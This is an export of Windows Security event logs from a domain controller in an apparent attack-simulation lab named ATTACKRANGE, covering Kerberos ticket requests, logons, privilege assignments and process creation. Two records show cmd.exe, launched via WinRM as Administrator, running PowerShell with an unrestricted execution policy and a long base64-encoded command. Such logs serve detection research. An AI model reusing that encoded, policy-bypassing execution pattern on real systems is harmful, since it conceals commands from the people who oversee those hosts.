	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{57681CD2-1F89-9D48-0B76-A53019935F69}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252590
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{57681CD2-1F89-9D48-0B76-A53019935F69}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252589
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252588
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x284
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10a0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252587
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x134c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252586
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16A84E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252585
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16A84E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{57681CD2-1F89-9D48-0B76-A53019935F69}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252584
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{57681CD2-1F89-9D48-0B76-A53019935F69}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252583
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{57681CD2-1F89-9D48-0B76-A53019935F69}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252582
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252581
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16A816

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252580
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16A816

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252579
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16A816
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{57681CD2-1F89-9D48-0B76-A53019935F69}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252578
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{57681CD2-1F89-9D48-0B76-A53019935F69}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252577
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{57681CD2-1F89-9D48-0B76-A53019935F69}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252576
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252575
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x169088

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252574
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16A501

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252573
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16A501
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64642

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

